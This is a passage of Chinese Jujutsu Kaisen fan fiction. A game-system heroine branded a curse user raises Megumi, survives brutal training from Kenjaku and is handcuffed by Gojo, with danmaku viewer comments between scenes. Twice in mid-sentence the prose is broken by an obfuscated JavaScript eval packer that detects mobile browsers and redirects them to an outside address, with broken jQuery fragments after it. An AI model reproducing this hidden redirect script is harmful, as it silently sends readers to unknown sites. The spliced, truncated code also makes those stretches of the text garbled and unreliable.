白发少年拍了下他的肩膀，伸了个长长的懒腰，语气始终平静，“我已经让总监会联系到最近的部门，让他们找到这些孩子的父母，最后一面应该是可以见到的。” 确实。 夏油杰心想。 面对咒灵还能活下来见到最后一面，已经很幸运了。 这是以往他经常会有的想法，但看着这一幕，晦涩的情绪填满了心脏。 为什么？ 人类的恶意诞生了咒灵，咒灵又杀死无辜的人。 咒术师、利他性、只有非术士会产生咒灵……咒术师的尽头又是什么？ 悟的声音打断了他继续往下思考。 五条悟捏着下巴，“这个任务本来是我负责，我过来的时候就已经是这个样子了，杰，你怎么在这里？” “……调查出来伏黑惠出现在这一带，我跟着咒灵追过来。”夏油杰微微抬眼，看了一圈，“到这里就消失了，应该是被诅咒师找到带走了。” 白发少年听到他的话表情一变，拿出夹在手臂下的资料，抓了下后脑勺的碎发，声音拉长，有些蔫蔫的，最近的事折腾他不轻，“花了大功夫去调查那个跑掉的诅咒师，资料都在这里了。” 他抽出一张呈在夏油杰的眼前。 【渚星也】 【18岁】 【三个月前参与诅咒师群体活动】 【术式未知】 【危险程度不明】 【绑架十种影法术】 【杀害三名诅咒师和五名咒术师，疑似与禅院家有恩怨，已确定为诅咒师】 照片上的少女黑发黑眸，长得漂亮，面向镜头笑起来又甜又乖，看起来实在不像是一个诅咒师。 “……” 是她啊。 夏油杰看着照片，有些晃神，半晌，他突然笑了一下。 骗子。 五条悟因为好友突兀的笑容怔了下，总感觉好友的情绪有些不对劲，是最近太累了吧。 “杰，你笑什么，怪怪的。”他嘀嘀咕咕，“我承认渚星也长得确实符合你的审美，你不会因为人家可爱就放过她吧？” “说什么呢。”黑发少年哭笑不得，“我也没有说她可爱。” 五条悟发出一声意义不明的气音，他偏过头，“路上真的没发生什么吧？” 夏油杰摇摇头。 “没什么，只是觉得今天好像什么也没做成。” 他话锋一转。 “遇到这个诅咒师是要抓住吗，抓住后总监会怎么做？” 五条悟静了下，抬眸道。 “死刑。” 15.第十五章 ［可恶，又错过了］ ［差一点啊，差一点就能相遇了！］ ［我的星也和小五啊，你们两个你调查我我厨你，什么时候见面啊。］ ［真厨假厨啊？］ ［管他呢。］ 弹幕依旧活跃，乐此不疲的玩着梗，期待着她什么时候再和咒术师碰面。 上头的时候就忘记她诅咒师的身份了，不怕她被抓吗。 【剩余玩家人数：115】 渚星也心里念着。 短短一天时间，150个玩家变成115个，这还是副本boss没有出现的情况下。 运气好的话，一个半月就能结束一场副本，运气不好……渚星也听过，有玩家尝试过一个跑北极，一个跑南极，硬生生耗了十年，最后系统发布强制召回任务，靠玩家在副本中的存活时间确定最终赢者。 你可以耗，但最终的结果依然只有两个。 “这个吃吗。” 渚星也扣着鸭舌帽，左手侧还有一个同样带着帽子的伏黑惠，指着李子低头问。 伏黑惠摇头。 渚星也：“来一斤李子。” 等待的时间，渚星也在想着另一件事。 伏黑惠的去处，她将人救回来，说过让他回去，她不绑架了。 但黑发绿眼睛，和她黑暗面配色相似的小孩听到就抱住她的腿，小声说着不回去。 她说一句不养。 伏黑惠回一句妈妈。 渚星也摸着他的小脑袋奇怪地想怨母的诅咒不会影响他的脑瓜，真把自己当妈妈了，让她想不到的还有，那天伏黑惠确实是想要回去找她。 是担心他回去，会给津美纪带来危险吗，还是怕离开了她的身边，咒灵会攻击他？ 不是怕她吗。 渚星也咬着李子，她付了钱转身离开，伏黑惠自己小跑了几步跟上来，抬起胳膊勾住她的小指，见她没有拒绝的意思，便拉住她的手。 ……真奇怪。 还是说二次元的人都这个样子，觉得对自己好一点，对方就不是坏人，确实漫画里的伏黑惠是一个看似冷漠，实则温柔的人。 亚撒西？ 不是嘲讽。 渚星也知道世界上有温柔的人，但她很少遇到过，她也有过朋友，爸爸告诉她，朋友是交来相互利用的，帮助和利用到头来都是一样，你给了朋友一个可用之处的机会，说不定他还会觉得自己被肯定了。 她只有这样的朋友，后面也没有了，那些朋友在她住院后，温柔的说着她会正常起来，会在手机里关心她每天吃得如何，睡得如何，过了一天又一天，直至消失在她的生活中，最后只有医生陪伴着她。 不是值得在意的人。 渚星也垂眸盯着伏黑惠，盯了几秒，又收回视线。 他稍微有点不一样。 不一样在她主动选择了他。 从第一次【副本】中，渚星也看到了自己的黑暗面，万千恶念汇聚一处，她不光承受着自己的恶，也要容纳着怪物的恶，恶由心生，生生不息。既然无法摆脱，那就共生，她不想顺从的变成怪物，被外部存在强行碾碎她的观念和认知，抹消她自我的性格，也不想玩弄人心，让世界变成残肢炼狱，她杀人是想活下来，不是为了杀而杀。 于是当负面恶念超越自身，失去理智后，渚星也就找到了一个方法能让自己从混乱的状态清醒过来。 那就是种心锚。 让一个诱因种在自己的内心，介入到她的负面状态，当达成的那一刻产生的条件反射让她从恶念中挣脱。 伏黑惠做了她的心锚。 他不知道，也不会知道。 渚星也不会感谢伏黑惠无意中真心做出的承诺让她清醒，她不是好人，她不想被人知道太多东西。 她不是好人，所以也不想养一个只会给她带来麻烦的小孩子，哪怕这个小孩子乖巧听话。 他只是迷路了，找一个躲雨的地方，他真正的家在高专，不是诅咒师的身边。 渚星也不去想伏黑惠的事。 杀死【怨母】后，系统给她掉落了道具。 【道具：传送工具】 【遇到危险的时候会回到妈妈的襁褓。】 算是保命的传送技能，只要有一个【妈妈】，就可以传送过去。 但使用的前提是真心实意的认为那是妈妈。 她没有，现在用不了。 什么道具啊。 渚星也心里抱怨了一句，看向前方，棕发俊秀的青年已经在等候着她，抬起手挥了挥，眸光悠远，这个人不管是一举手，一投足，都优雅好看。 活这么多年，为了自己生活好肯定换过不少贵族的身体，学过一些礼仪也很自然。 渚星也猜测。 “星也。” 羂索叫她的名字总是咬字很轻，眼睛也没斜一下给旁边的小孩。 或许在他的眼里，十种影法术还没有成长到他应该正眼看的程度。 “你不是想要变强吗，我来帮你。” 渚星也眨巴着眼，好奇问：“你不是很忙吗？” “忙？” 他笑了下，反问：“星也不想知道我在干什么吗？” 渚星也摇摇头又点点头，笑盈盈地说：“我对别人的行踪没有好奇心啦，你不告诉我，那我就不问。” “哈哈。”羂索抬手，勾起她耳边的碎发，不紧不慢地说，“我之前不是说，会将你讨厌的人解决掉，提着他的脑袋来见你吗。” 她的体温依旧冰凉，被温热的手指碰到，那块皮肤也变得温暖舒适起来。 讨厌。 讨厌被不喜欢的人碰。 她的身体为什么不能像猫一样自由弯曲，不喜欢被碰身体就凹下去。 “啊。”渚星也发出一声气音，歪头看他，“那你找到啦？” “很遗憾，没有。” 羂索声音惋惜，看向她的眼神有些微妙，“星也，你真的有前男友吗，是不是被骗了？” 好像被认为是没有男朋友，幻想出一个男朋友的可怜人了。 可她真的有啊。 虽然有些戏剧性，但确实是前男友没错。 “你猜啊。”她没有正面回答，而是弯弯眼俏皮将问题扔给他。 羂索笑了笑，没说话。 小女孩，情窦初开很正常，但感情不能影响到她应该做的事，成为她前进道路上的阻碍。 他来扫清障碍。 “对了。”渚星也问，“你说让我变强，训练的地方在哪里？” “我会带你去。” 羂索微微低头，看着还没他腿高的伏黑惠，小孩仿佛感受到了危险，抬起头看他，或许是瞪。 不在意，现在的十种影法术太弱，如果成长到五百年前能够杀掉五条家家主那种程度，能让他多看几眼，但五百年前和现在无法相比，那时候一级术士远没有现在稀少，何况环境塑造人，现在咒灵的环境无法让他满意。 “先把他送回外婆那里。” 羂索说。 既然星也想养，那就养吧，六眼多出一个十种影法术做敌人，对他来说没有害处。 ………… 渚星也进入过一个【副本】，遇到过一个武士小boss，那个boss拎着她跟拎只鸡仔一样，两米八的大个子，说他一个人太无聊了，好不容易来一个合眼缘的，就锻炼一下她瘦瘦弱弱的身体。 她也想变强，就答应了。 但boss抓住她的手腕连连叹气，说她的身子骨已经定型，柔韧太低，就算练也练不到什么高境界，建议她打碎自己的骨头，重新锻体，这样就算零基础开始练体术，进步也远超常人。 “那就打碎吧。” 那个时候的她说。 所以她要比一般人更怕疼，骨头的每一次碎裂，都会让她的身体更强大。 既然前无去路，退无死所，那她不全力变强反攻，还在等什么。 打不过就跑，跑不过就拼，如果结局只是死亡，那就头破血流拼出一条生路。 每一天，每一刻，她都是这样想的。 渚星也喘着气，看着树影下拖着长长的影，翻腾着，流动着，看上去有七八十斤的黑蛇，吐着青绿的蛇芯，蛇瞳冰冷，露出尖利的毒牙。 羂索带她来训练的地方，是悬崖峭壁。 送回伏黑惠就带她来了这里，她还没有站稳，就被羂索推了下去，风声呼啸中，她听到羂索的声音。 “从人类对蛇的恐惧中诞生的咒灵，我捉了很多，为你打造出一个蛇窟。” 风刮起他的衣袖，棕发青年嘴角微微上翘，声音温柔。 “星也，想活着就爬上来。” ——她当然会。 天色黯淡，暮色降临，“轰”的一声，响了一个大雷。 蛇头在一刹那的白光下，拧首狞齿向她噬来。 渚星也抬起黑刃，踩着树干一跃而起，似携带雷霆万钧之势，从上至下，一刀将黑蛇从中间斩断，风声呼啸撩起她的黑发，她踩着蛇尸的头，抬头仰望着数米长，巨大的蛇形咒灵。 庞然大物与蝼蚁般大小的她。 那又如何。 黑发少女弯唇一笑，露出小小的虎牙，好似万般开心，漆黑的眼瞳在雷光下愈发明亮，闪闪发光。 但眼中的不是笑意，只有清澈的、冰冷的杀意。 蛇形咒灵歪了下脑袋，烦躁地拍着蛇尾，地面在震动，它“嘶嘶”了一声，竟发出人言。 “人类，为什么要笑？” 渚星也仰头，声音轻柔。 “因为开心啊。” 咒灵拖动着蛇尾，看着眼前的黑发少女手腕处似乎涌起了什么，绷带渗出黑色。 它心中发寒，本能地感受到威胁。 这个人类不正常。 人类中也是异常的存在，他们似乎称呼这种人为—— 【疯子】 * 羂索在山崖上摆出茶桌茶具，悠闲地沏茶饮茶，欣赏着悬崖的风景。 电闪雷鸣也不失为一种意境。 山崖底有攀爬的动静，羂索扫了一眼，心里算着时间，大概这个时间就应该上来了。 一只手突兀出现扣住石头，黑色的脑袋探出来。 羂索对上一双黝黑的眼睛，从崖底爬上来的黑发少女什么话也没说，眼底情绪也没有，额头的血滴落到眼睛上，她眨了下眼， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13824384|145904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抬手抹掉。 “星也……” 他的话还没说过，眼前一花，出于某种微妙的验收心理，羂索没有躲开。 紧接着他的肩膀一痛。 “……” 手落在少女的脖颈，羂索意味不明地低头注视着趴在他身上的黑发少女。 似乎还是气不过，少女愤愤地又咬了一口他的肩膀，她直起身子，用脑袋砸他，要给他一个头锤。 羂索用手指点了下她的脑袋，让她无法再进一步，缓声说：“生气了吗，星也？” “没有哦。” 黑发少女嘴上说着没有，手上的血却蹭到他的脸上，衣服上，扬起得意的笑容。 真耀眼，笑起来像暖呼呼的太阳。 渚星也报复完了，要起身离开，刚转过脑袋，就被一只手捏住下巴，略微用了些力气，天旋地转间，她的脑袋枕在一双腿上。 “不要乱动。” 羂索说。 “我帮你止血。” 红艳艳的血映在她流光璀璨的眼中，像梅花没入安静的湖面，她乖乖的眨了下眼，也将那头刚撕咬完敌人的猛兽关入心牢，收敛起锋利的爪牙和森冷的獠牙。 都说六眼的眼睛最为漂亮，但此刻羂索认为他腿上的渚星也眼睛比六眼要漂亮的多。 哭起来漂亮，笑起来也漂亮。 血色在眼尾晕开，黑发少女垂落眼睫，说：“讨厌你。” 下一句又说，“妈，我要吃天妇罗炸虾。” “……” 羂索笑出声，手指按上她的脸，冰冰凉的，要他的手才可以暖热。 如果他占据了这副身体，想必做不到这么可爱。 如果他占据了这副身体，这双眼睛也会失去现在的明亮。 如果他占据了这副身体，可能也听不到任性撒娇的话。 怎么办啊。 “扑通。” 羂索听到了自己的心跳，感觉到自己的血液在流动沸腾。 他觉得可爱的，是渚星也在死亡的边缘所展现的疯狂。 是随时随地都可能破碎的美。 这是他发现的钻石。 羂索注视着她像猫一样的无辜眼睛，又藏着狐狸般的狡黠，行为又狗里狗气。 要把这钻石留下来吗。 他想。 渚星也突兀伸手摸了一下他的脸，打断了羂索的思绪，若有所思地嘀咕，“不是错觉，感觉你好像变丑了。” “？” “皮肤有点糙，鱼尾纹也好多。” 她又拽了下棕色的短发，发端已经有黑色的痕迹。 “是染的吗？” 羂索沉默了几秒，盯着她点头。 “男人还是要好好保养，男人三十一枝花，你都29了。”渚星也一脸认真，话锋一转，“染发我喜欢白色的。” 听者有心，说者笑意盈盈。 “同伴长得好看，走出去也很有面子呀。” 被带偏的羂索下意识抬手，半空中滞了下，说：“不过是身外之物。” “哦。” 她任性地说，“我就喜欢。” 对于自己看上的人，羂索抱有很大的宽容之心，即使是美容美发，不过染成白色…… 是故意的，还是随口说出来的？ 不，星也不是那样的孩子。 所以是真的推五条悟吗，他以为是说笑的。 小女孩确实喜欢长得好看的人，他目前的这个脸看来很符合星也的审美。 至于下一个要换的身体…… 羂索忽然意识到，星也已经和这具身体建立了羁绊，如果他换了另一具身体，她还会像现在这样听话吗。 ………… 被挤到余光边缘的弹幕疯狂刷屏。 ［给！她！吃！！！］ ［娟子你也别闲着，吃完天妇罗把你也吃了吧！！！］ ［里梅，对，里梅，让里梅把你做成一道菜，炸脑花，吃过的都说好。］ ［别饿着孩子，以及，这真的不是吃代餐吗。］ ［感觉恶人组可以HE，但我还是觉得BE最棒，就算恶人组是真的，我妹宝最后也要当寡妇。］ ［羂索，在你闭上眼睛的那30秒你在想什么，是在想自己以后还会再见到这份耀眼的笑容，还是想要她的扭断脖子，占据那具身体？］ ［万物皆可图书馆30秒。］ ［嗑出一嘴的血，如果是真的，我希望他们死，如果是假的，我希望娟子死。］ ［星也的三观千万别被带歪啊啊啊啊我真的好害怕我妹变成反派啊啊啊！］ ［……］ ［这个人叫伦是吗，全名呢，他的全名没有吗。］ ［好像在诅咒师里没听说过这号人物。］ ［现在只知道单名一个伦，不知道姓氏。］ ［简单，截图拿着照片去找，这不有明显的特征吗，头顶有浅淡的缝合线。］ ［等一下……你们找到了要干什么？］ ［天妇罗我也会做啊，我的厨艺怎么说也要比他好啊。］ ［讨厌就扇巴掌，超解压的。］ ［开会暂停，这就去宰，找诅咒师。］ 16.第十六章 渚星也和羂索不在的时候，伏黑惠就待在伦的家里，伦奶奶知道房子里有个小孩子住着，脸上的笑容也多起来，虽然平时也很关注披着伦身体的羂索，经常嘘寒问暖，但伏黑惠来了后，能够看到老人对羂索本能性的小心翼翼和害怕少了些许。 渚星也支着下巴，看着伏黑惠喝粥。 【剩余玩家人数：109】 一边是温馨的一幕，一边是缓慢减少的人数。 她看到桌上的苹果，搞怪心态上来，拿起苹果放到伏黑惠的头顶。 小孩定住。 渚星也又把苹果拿下去。 小孩继续喝粥。 渚星也又放上去。 他动了下耳朵，安安静静地定住。 小小年纪，情绪稳定如水豚。 将人找回来的当晚，渚星也就去了津美纪那里，翻窗进去放了一封信和照片，表示人好好的就是有点不愿意回去，有时间给他做做思想。 她一些阴森威胁，特别诅咒师的话，在他这里也渐渐不起作用。 好吧。 渚星也伸了个懒腰，抬手捏住伏黑惠的腮帮子。 “你吃饭的样子好像小鸟。” 头一点一点的。 “小鸟宝宝。” 既水豚后又称为小鸟的海胆头伏黑惠：“……” “陪我出去吧。”渚星也冷不丁地说。 伏黑惠抬起脑袋看她，声音慢吞吞，“外面有坏人。” 渚星也双手托腮，压着黑色的发丝，眼珠子转了圈，慢慢浮现出笑意。 “在我身边就是安全的。” 她哼了一声。 “和我出去。” 伏黑惠眨眼，乖巧点点头。 * “……你们说是来干什么的？” 东京都立咒术高等专门学校，简称高专，夜蛾正道看着面前四个低下来的脑袋，艰难地说，“我们这是高专。” “我知道！” 一个脑袋猛地抬起来，深情地说：“啊，高专，我梦中的学府，上不到它，我的灵魂都会变得不完整。” “……高专限制入学年龄15岁，插班生不得高于19岁。” 夜蛾正道吐出一口浊气，“你们，最起码已经有二十六七了吧。” 玩家：“哎嘿，人家刚满十八岁。” “不行。” 夜蛾正道拒绝，“如果有需要，总监会有针对非家系咒术师的培训项目，各位，请不要让我为难。” 四个阵营在总监会的玩家：“……” 他们就是受不了那些封建糟粕糟老头子才过来的，听说这里又安全又能养老过来苟着。 听到拒绝的话，玩家猛虎落泪，“破防了，我连大专生都当不成。” “我可是博士啊！” “你懂什么招生，让我考考你。” 夜蛾正道：“……” “悟，把他们扔出去。” 他的声音落下，门把手转动，一个高大的身影推开门微微低头进来，右手抓了抓白色的短发，眯起蓝色的眼睛打了个哈欠，懒懒地说：“想自己走出去还是我扔你们出去？” ——空气陷入寂静。 安静到五条悟有些莫名，他双手指骨捏出咔咔的声响，准备把这四个来历不明的咒术师踢出去。 但下一秒，他们开口了。 玩家一脸梦幻，喃喃自语：“……我没想到，我居然有幸能看到这样的神迹。” 有人开口，其他三人也跟着发愣地说。 “看到了，是我异父异母的亲主人。” “太美了，简直能洗眼睛，鬼知道我通过的副本，遇到了多少惊天地泣鬼神的玩意儿。” “他出来后弹幕都干净了很多。” 玩家虔诚道：“只要你一声令下，我愿意拥护你为逃生游戏最美的看板郎。” “好漂亮，还是白毛，我何德何能啊。” 玩家麻溜躺在地上，声情并茂。 “不要怜爱我，踹我。” 还有玩家使出平生最快的速度，羞涩地往白发少年手里塞进一副手铐，声音几近迫不及待，“来吧，逮捕游戏我最爱玩了。” “……” 五条悟后退了小半步，低头看着自己手里的手铐，抬起头目光顿顿地扫过每个人，才发出一声不体面的“哈？” 他目光怀疑看向夜蛾正道。 “确定是咒术师？不是哪里跑出来的精神病？” “悟，你等等。”夜蛾正道摁了摁眉心，一副忍耐的样子，“我来扔。” 夜蛾正道开始怀疑，是不是最近的祓除任务过载，夏季太炎热导致，咒术师变得越来越抽象了。 老师代劳，五条悟也没有拒绝，自己坐在沙发上，看着筋肉专精的班主任一拳一个玩家，嘴里还喊着“不要在我的学生面前说这些话”。 刚才确实被咒术师愈来愈低下限的精神状况惊到了。 五条悟伸了个懒腰，才低下头看着强塞过来的手铐，他手指修长，抚摸着手铐上的纹路，材质不清楚……做工很好，是咒具吗。 手机“嘟”的一声响起，是电话。 五条悟接起电话，“冥小姐？” 他从躺着的姿势直起身，重复了一遍，“乌鸦看到她了？” 随手将手铐一塞，五条悟走到窗边，撑着窗户直接从二楼跳了下去，他口吻轻快道：“冥小姐，千万要帮我盯紧哦，我可是好不容易才推测出她活动的区域。” “很快赶到。” 渚星也在用羂索的卡在疯狂购物，头发做了最贵的护理，买了价格听起来就咋舌的香水，买衣服的时候，她坐在沙发上还在想要不要买个原石自己开开过过瘾。 至于用羂索的钱会不会有愧疚感？ 没有。 养她，该的。 “我想看。” 渚星也睁着眼睛看他，无辜地说：“超想。” 她还用上了撒娇的语气，一点也不觉得撒娇的对象是个孩子有什么问题。 伏黑惠看着她手里粉嫩至极的蕾丝花边连衣裙。 “津美纪说，男孩子不能穿裙子。” “那确实。”黑发少女笑嘻嘻，“我也不是想看男孩子穿裙子。” 她诚实说：“主要是想看你穿。” 是不是表现的有点太和蔼可亲了？ 渚星也在系统提示ooc警告前，面色一变，学着自己看过的病娇古言小说，语调有几分阴森，“不听我的话，就杀了你姐姐，和你所在意的人。” 伏黑惠：“……” 怕别人听到，她声音还很小，没有这句话应该有的威胁力和杀伤力。 “穿裙子。” 黑发绿眼睛的小孩盯着她好久，他还是点头，接过了裙子。 渚星也看到他点头，压了压他的脑袋，转过头兴致勃勃，“把你们这里的童装都拿出来，对了，发型师也找一个过来。” “你们这里有没有儿童假发呀？” 伏黑惠拉住她的衣服，仰起脸忍不住将脸皱成一团，“我觉得一件就可以了。” “不够。” 将娃娃换装实践到现实来解压的渚星也弯着嘴角摇头，笑意恶劣，“我不要你觉得，我要我觉得，谁让你留下来的，小鸟宝宝。” 她拍皮球一样拍着伏黑惠的脑袋，像是不记得是黑暗面pua伏黑惠只有待在她身边才是安全的。 渚星也看了眼小地图，见没有绿色倒三角标识，站起来说：“我出去买点东西，你们快点把发型师和今年最流行的童装拿出来。” 下午茶的甜点有点吃不惯。 ［哈哈哈哈哈可能有人都没想到，自己的黑历史变成高清4K可截图的了。］ ［惠，没关系，不就是女装吗（截图）］ ［对啊惠，又不是真的你（截图）］ ［女装只有零次和无数次（截图）］ ［也就一般般（截图）］ ［小鸟宝宝（截图）］ ［伏黑惠（水豚版）］ ［伏黑惠：一觉醒来天都塌了。］ ［眼睛一闭一睁，照片还在云空间里。］ 看着伏黑惠跟着导购进更衣室，渚星也推开门去商场的奶茶店。 人不多，排到她的时候渚星也点了一份珍珠奶茶，钱用的还是羂索的。 大额的消费短信估计都能挤爆他的手机，但羂索只发过来一条信息。 ［放心花。］ ……是不是加茂家的钱？ 渚星也认真思考，她记得原著里面加茂家有不少支持加茂宪伦，也就是羂索的马甲之一。 也是，毕竟活了这么久要是还是穷鬼，那还不如自杀算了。 一边等待，渚星也看向窗外，窗外的树木郁郁葱葱，树枝上还停留着一只乌鸦，乌鸦展开浓密漆黑的羽毛，歪着脑袋红色的眼睛盯着她。 无聊等待的黑发少女脸色瞬间一愣。 乌鸦，盯梢，被注视身体油然而生的窥探发毛感。 怎么忘了这个—— 飞禽走兽不管在何时都太作弊了，用冥冥的乌鸦来寻找她的踪迹，防不胜防，人也不可能时时刻刻都注意着周围的动静。 渚星也后退一步，奶茶也不想要了，转身就要离开，但下一秒，一只手抓住她的肩膀。 清透的白光穿过窗户，门外风铃轻响，少年声音闲闲传来。 “抓、到、你、了。” “诅咒师。” 渚星也抬起头，径直撞进天空色的眼瞳中，蓝意浓郁，是比隔着屏幕看，更要漂亮的眼睛。 果然面对面看的话，眼睛要更漂亮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13839303|145904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 这样漂亮的眼睛为什么会闭上呢。 诸多信息划过脑海，四目相对，一时空气和时间仿佛停止了流动。 白发少年抓住她的手腕转了半圈面朝向他，他笑了一下，透着张扬和得意，“这次还准备往哪里跑？” 他上上下下的打量着渚星也，挑了下眉，表情有些微妙。 “照片和真人差距还蛮大的，你比我看到中的要更……” 无害？单纯？ 看上去跟蛋糕一样，身上怎么还有香味？ 他所了解到的渚星也，也不过是被资料拼凑出来的大致形象，从细枝末节中揣测出她的性格特征，而这些，也是因为她带走了伏黑惠，让直哉栽了个跟头，从而引起兴趣自己去调查这个人。 虽然烂橘子们也有施压啦。 调查出来的结果暂且不提，但无害和单纯……绝对是迷惑人吧。 白发少年皱着眉，想不出具体形容她的词，他抬手捏了下她的肩膀，嘀咕了一声，“真的假的，这个小身板能单杀八个人，身上的咒力也太少了。” 而且还很斑驳，在身体的边缘处。 他的虽然口吻随意，但捏着渚星也的肩膀的力度大到根本挣脱不开。 渚星也没有说话。 店员此刻出声：“客人，您的奶茶好了。” 渚星也眨巴了下眼，还没说话，一只手就伸出去，稳稳接过她买的奶茶。 “是我喜欢的口味诶？” 白发少年似诧异的拖长尾音。 “……” 他自然的插管喝下去，若有所思的目光落在渚星也身上，“总感觉在哪里见过的样子。” 这感觉来的快去的也快，他也没多放在心上，不过她怎么不说话。 少年投过去一个催促的眼神。 ［啊啊啊两个都是我的心头肉心头宝！］ ［咪抢妹奶茶，咪坏。］ ［我的孩子们怎么看都好看，妈妈感觉尸体暖暖的。］ ［好嫩的dk5，但是有点屑屑的。］ ［终于见面了终于见面了！！！］ ［奇怪，好像没有很大的敌意，我记得五条对咒灵和诅咒师的态度都不怎么好。］ ［星也怎么不说话？］ ［星也：大脑飞速运转怎么从最强的手里逃脱。］ ［这不简单，星也你直接一声嗨老婆，以你比五条悟更胜一筹的撒娇技能，佛祖来了都挡不住。］ ［怎么可能。］ ［我喜欢酷哥×甜妹这种cp组合呜呜呜，尤其喜欢看起来很甜很软实际上是主导地位的妹，所以和大惠的cp我猛猛嗑，现在看来臭屁男高也很好嗑，甜妹和谁都能搭伙过日子。］ ［不当场诛杀是要带回去审问吧，嘿嘿。］ ［我知道，某花市的审讯play，看的人人心黄黄，不过这种我喜欢看男人被绑审讯，用鞭子抽打饱满的胸肌，绳结捆绑住四肢身上青一块红一块……嘶，妹要是能一脚踩到腿上更刺激了。］ ［？］ ［？］ ［啊？？？］ ［什么play，五条悟你？？？］ ［为什么画风突变了！］ ［因为觉醒了。］ ［啊？我没有啊。］ ［dk5还是太嫩了，285才是男人中的男人，dom中的dom，主人中的主人。］ 渚星也看向街对面，她勾了勾小指，似蛇一样的暗流在小臂缠绕攀爬，快探出袖口的时候，“咔”的一声响，她顿住，低下脑袋看突然扣住自己右手腕，冰冰凉凉的东西。 一对银质的手铐，做工十分精美。 就是不应该出现在这里。 “不要做小动作，我看得到。” 五条悟抬起自己的左手晃了晃，牵引的渚星也的手也被迫举起来。 黑发少女仰起脸看他，表情透着茫然，黑色发丝被风吹得贴在脸颊，衬得脸更小了，看上去有点懵。 他晃了一下手铐，少女也跟着不自觉晃了下身体，眼睛骨碌碌跟着转。 “和我走一趟吧，诅咒师。” 五条悟旁若无人地开口。 渚星也则转动着脑袋，看向四周，若有似无的目光落在他们身上，灼热又迫切。 这种眼神她可熟悉了。 “啊！不要。” 仿佛才反应过来，少女眼瞳乌黑，她抿着唇，似有些委屈，声音清晰响起。 “离我远点啊，玩SM的变态。” “……” 话音落下，渚星也回想了下电视剧里是怎么演的，她抬起手……一只手，捂住自己的胸口，慢吞吞重复了一遍。 “变态。” “讨厌你。” “咔嚓”一声快门声，围观群众恍惚拨通报警电话。 17.第十七章 诅咒师绑走了伏黑惠后，五条悟就让五条家的咒术师保护伏黑津美纪和她的妈妈，知道自己被保护的津美纪妈妈也从包养的牛郎家里搬出来。 当天夜里，还没睡觉的他就接到盯梢的咒术师电话，说自己被打晕了，伏黑津美纪的卧室有人翻进去过。 于是他赶过去，逮住了一个装睡的伏黑津美纪，在他锲而不舍的询问下，小女孩开口说她只是收到了一封信。 那封信上有伏黑惠的照片，和一张他自己写的扭扭歪歪的信。 大概意思是说自己没事，不用担心。 什么年代了还有人写信。 五条悟心里刚一想，衣摆就被伏黑津美纪揪住，他低下头。 “如果惠不想回来，那哥哥就不要去找惠回来了。” 伏黑津美纪说：“惠可以想去哪里就去哪里，那个姐姐不是坏人。” 五条悟一愣神，他蹲下来平视着小女孩，没有把她当孩子对待，而是认真地给她说：“渚星也，就是那个绑架了伏黑惠的诅咒师，杀了人，很多人。” 伏黑津美纪歪头：“杀的是好人还是坏人？” “不知道诶，诅咒师肯定是坏的，但那几个咒术师背景很清白哦，渚星也和他们不认识，就把他们杀了。” “可是……”伏黑津美纪低着脑袋看自己的脚尖，“姐姐救了惠，妈妈不要惠，惠离开就去找姐姐了，我不熟悉姐姐，也不熟悉哥哥，我只知道惠愿意那我就愿意。” “就算离得很远，他也是我的弟弟。” “哥哥也来迟了一步，姐姐没有。” “……”伏黑津美纪感觉自己的额头被戳了一下，她仰起脸，看到一双波光粼粼的蓝色眼睛，漂亮的像阳光穿透的玻璃珠。 “在怪我吗？” 他说。 伏黑津美纪摇摇头。 她深吸了口气鼓足勇气：“我不想要哥哥伤害姐姐，像电视里说过的，可能姐姐是有苦衷的，只要说开就好了。” “难搞啊，她可是死刑诶。” 伏黑津美纪磕磕绊绊：“死刑，也可以变成死缓。” “……”光通过窗户敞开的一点缝隙，落在白发少年的脸上，他眯了眯眼，笑了，伸手毫无章法地揉乱小女孩的头发，“小孩子都懂什么。” 他说着，“好啦好啦，知道你喜欢她了，我倒要看看这人有什么魅力，是幼儿园老师嘛这么受欢迎。” 调查出来的信息里人际关系基本上没有，和死去的那六个咒术师一样，几行字就能简单概括前半生，毫无理由的杀死他人，查出来没有一点的利益牵扯。 查的困难，也只能硬着头皮查，他要找到人。 冥小姐的术式很便利，他付了大价钱让她盯梢，冥小姐也是有任务在身，为了能找到人，他又把一部分任务揽到自己这里。 一定要找到。 死刑什么的，他又不是那些人手里的一把刀，比起他们所谓的追杀令，五条悟更在意杰看到资料时一瞬间恍惚的表情。 杰最近的情绪外露越来越少，但看到这个诅咒师却很明显的愣神。 是认识？还是见过？ 还有，为什么知道了不告诉他？ 诅咒师的实力对他来说还不如咒灵，平时也鲜少关注，为了调查找到渚星也，他分出了大部分的精力在她身上。 但是当见到人的时候，五条悟怀疑这个人真的杀了八个人，还单杀了一级咒灵吗。 排队买奶茶的少女周身气质看上去太过无害，像在花园里打盹的猫，谁都可以摸一把，最值得在意的不是这些东西，而是她的咒力太少了，和普通人没什么区别。 他不会怀疑自己的眼睛。 像普通人一样的诅咒师，咒力看起来四级都达不到，却能单杀一级咒灵—— 她有其他的特殊能力。 五条悟撇了撇嘴，勉强承认这个诅咒师确实长着让小孩子信任喜欢的脸，抓到了就带回去问问，他想到自己顺手带在身上的咒具，没怎么多想就给她扣上。 ……没想到给了她利用的余地。 “变态。” 